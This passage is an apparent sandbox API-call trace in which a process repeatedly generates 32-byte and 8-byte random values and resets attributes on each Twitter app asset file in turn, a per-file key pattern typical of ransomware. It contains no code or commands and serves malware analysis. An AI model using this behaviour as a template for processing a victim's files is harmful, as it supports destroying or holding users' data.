(in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb768 | out: pbBuffer=0x30eb768) returned 1 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5288 | out: pbBuffer=0x30f5288) returned 1 [0215.957] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebd98 | out: pbBuffer=0x30ebd98) returned 1 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5298 | out: pbBuffer=0x30f5298) returned 1 [0215.957] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125.png", dwFileAttributes=0x80) returned 0 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec4d0 | out: pbBuffer=0x30ec4d0) returned 1 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52b8 | out: pbBuffer=0x30f52b8) returned 1 [0215.957] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed130 | out: pbBuffer=0x30ed130) returned 1 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52a8 | out: pbBuffer=0x30f52a8) returned 1 [0215.957] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed760 | out: pbBuffer=0x30ed760) returned 1 [0215.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5128 | out: pbBuffer=0x30f5128) returned 1 [0215.957] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30edc88 | out: pbBuffer=0x30edc88) returned 1 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5388 | out: pbBuffer=0x30f5388) returned 1 [0215.958] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed868 | out: pbBuffer=0x30ed868) returned 1 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52c8 | out: pbBuffer=0x30f52c8) returned 1 [0215.958] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec8f0 | out: pbBuffer=0x30ec8f0) returned 1 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5308 | out: pbBuffer=0x30f5308) returned 1 [0215.958] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecd10 | out: pbBuffer=0x30ecd10) returned 1 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53d8 | out: pbBuffer=0x30f53d8) returned 1 [0215.958] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec2c0 | out: pbBuffer=0x30ec2c0) returned 1 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5438 | out: pbBuffer=0x30f5438) returned 1 [0215.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed970 | out: pbBuffer=0x30ed970) returned 1 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5398 | out: pbBuffer=0x30f5398) returned 1 [0215.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30edb80 | out: pbBuffer=0x30edb80) returned 1 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5378 | out: pbBuffer=0x30f5378) returned 1 [0215.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec5d8 | out: pbBuffer=0x30ec5d8) returned 1 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5328 | out: pbBuffer=0x30f5328) returned 1 [0215.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eda78 | out: pbBuffer=0x30eda78) returned 1 [0215.959] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53a8 | out: pbBuffer=0x30f53a8) returned 1 [0215.959] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150.png", dwFileAttributes=0x80) returned 0 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e48e8 | out: pbBuffer=0x30e48e8) returned 1 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5338 | out: pbBuffer=0x30f5338) returned 1 [0215.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5440 | out: pbBuffer=0x30e5440) returned 1 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52d8 | out: pbBuffer=0x30f52d8) returned 1 [0215.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e49f0 | out: pbBuffer=0x30e49f0) returned 1 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53e8 | out: pbBuffer=0x30f53e8) returned 1 [0215.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125.png", dwFileAttributes=0x80) returned 0 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5020 | out: pbBuffer=0x30e5020) returned 1 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53b8 | out: pbBuffer=0x30f53b8) returned 1 [0215.960] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5c80 | out: pbBuffer=0x30e5c80) returned 1 [0215.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5448 | out: pbBuffer=0x30f5448) returned 1 [0215.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4f18 | out: pbBuffer=0x30e4f18) returned 1 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5478 | out: pbBuffer=0x30f5478) returned 1 [0215.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5230 | out: pbBuffer=0x30e5230) returned 1 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53f8 | out: pbBuffer=0x30f53f8) returned 1 [0215.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e46d8 | out: pbBuffer=0x30e46d8) returned 1 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5458 | out: pbBuffer=0x30f5458) returned 1 [0215.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4af8 | out: pbBuffer=0x30e4af8) returned 1 [0215.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5408 | out: pbBuffer=0x30f5408) returned 1 [0215.961] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e47e0 | out: pbBuffer=0x30e47e0) returned 1 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f53c8 | out: pbBuffer=0x30f53c8) returned 1 [0215.962] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4c00 | out: pbBuffer=0x30e4c00) returned 1 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5468 | out: pbBuffer=0x30f5468) returned 1 [0215.962] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5548 | out: pbBuffer=0x30e5548) returned 1 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5368 | out: pbBuffer=0x30f5368) returned 1 [0215.962] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5b78 | out: pbBuffer=0x30e5b78) returned 1 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5418 | out: pbBuffer=0x30f5418) returned 1 [0215.962] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4d08 | out: pbBuffer=0x30e4d08) returned 1 [0215.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5358 | out: pbBuffer=0x30f5358) returned 1 [0215.962] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4e10 | out: pbBuffer=0x30e4e10) returned 1 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52e8 | out: pbBuffer=0x30f52e8) returned 1 [0215.963] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150.png", dwFileAttributes=0x80) returned 0 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5860 | out: pbBuffer=0x30e5860) returned 1 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5428 | out: pbBuffer=0x30f5428) returned 1 [0215.963] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5128 | out: pbBuffer=0x30e5128) returned 1 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5488 | out: pbBuffer=0x30f5488) returned 1 [0215.963] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5e90 | out: pbBuffer=0x30e5e90) returned 1 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f52f8 | out: pbBuffer=0x30f52f8) returned 1 [0215.963] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125.png", dwFileAttributes=0x80) returned 0 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5f98 | out: pbBuffer=0x30e5f98) returned 1 [0215.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5318 | out: pbBuffer=0x30f5318) returned 1 [0215.964] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e44c8 | out: pbBuffer=0x30e44c8) returned 1 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f5348 | out: pbBuffer=0x30f5348) returned 1 [0215.964] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e40a8 | out: pbBuffer=0x30e40a8) returned 1 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617470 | out: pbBuffer=0x617470) returned 1 [0215.964] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5650 | out: pbBuffer=0x30e5650) returned 1 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617650 | out: pbBuffer=0x617650) returned 1 [0215.964] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e60a0 | out: pbBuffer=0x30e60a0) returned 1 [0215.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174b0 | out: pbBuffer=0x6174b0) returned 1 [0215.965] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0215.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e42b8 | out: pbBuffer=0x30e42b8) returned 1 [0215.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174c0 | out: pbBuffer=0x6174c0) returned 1 [0215.965] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400.png", dwFileAttributes=0x80) returned 0 [0215.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30edd90 | out: pbBuffer=0x30edd90) returned 1 [0215.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617540 | out: pbBuffer=0x617540) returned 1 [0215.965] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e43c0 | out: pbBuffer=0x30e43c0) returned 1 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617480 | out: pbBuffer=0x617480) returned 1 [0216.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5338 | out: pbBuffer=0x30e5338) returned 1 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617490 | out: pbBuffer=0x617490) returned 1 [0216.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e85d0 | out: pbBuffer=0x30e85d0) returned 1 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617550 | out: pbBuffer=0x617550) returned 1 [0216.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9d88 | out: pbBuffer=0x30e9d88) returned 1 [0216.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617460 | out: pbBuffer=0x617460) returned 1 [0216.002] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e81b0 | out: pbBuffer=0x30e81b0) returned 1 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174a0 | out: pbBuffer=0x6174a0) returned 1 [0216.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150.png", dwFileAttributes=0x80) returned 0 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e83c0 | out: pbBuffer=0x30e83c0) returned 1 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617560 | out: pbBuffer=0x617560) returned 1 [0216.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9020 | out: pbBuffer=0x30e9020) returned 1 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174d0 | out: pbBuffer=0x6174d0) returned 1 [0216.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9440 | out: pbBuffer=0x30e9440) returned 1 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175c0 | out: pbBuffer=0x6175c0) returned 1 [0216.003] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125.png", dwFileAttributes=0x80) returned 0 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e86d8 | out: pbBuffer=0x30e86d8) returned 1 [0216.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617590 | out: pbBuffer=0x617590) returned 1 [0216.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8e10 | out: pbBuffer=0x30e8e10) returned 1 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174e0 | out: pbBuffer=0x6174e0) returned 1 [0216.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8f18 | out: pbBuffer=0x30e8f18) returned 1 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617510 | out: pbBuffer=0x617510) returned 1 [0216.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9c80 | out: pbBuffer=0x30e9c80) returned 1 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617520 | out: pbBuffer=0x617520) returned 1 [0216.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e84c8 | out: pbBuffer=0x30e84c8) returned 1 [0216.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6174f0 | out: pbBuffer=0x6174f0) returned 1 [0216.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8d08 | out: pbBuffer=0x30e8d08) returned 1 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617500 | out: pbBuffer=0x617500) returned 1 [0216.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e87e0 | out: pbBuffer=0x30e87e0) returned 1 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617530 | out: pbBuffer=0x617530) returned 1 [0216.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96.png", dwFileAttributes=0x80) returned 0 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e80a8 | out: pbBuffer=0x30e80a8) returned 1 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175d0 | out: pbBuffer=0x6175d0) returned 1 [0216.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9758 | out: pbBuffer=0x30e9758) returned 1 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617610 | out: pbBuffer=0x617610) returned 1 [0216.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9548 | out: pbBuffer=0x30e9548) returned 1 [0216.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617570 | out: pbBuffer=0x617570) returned 1 [0216.006] SetFileAttributesW (lpFileName="\\Program 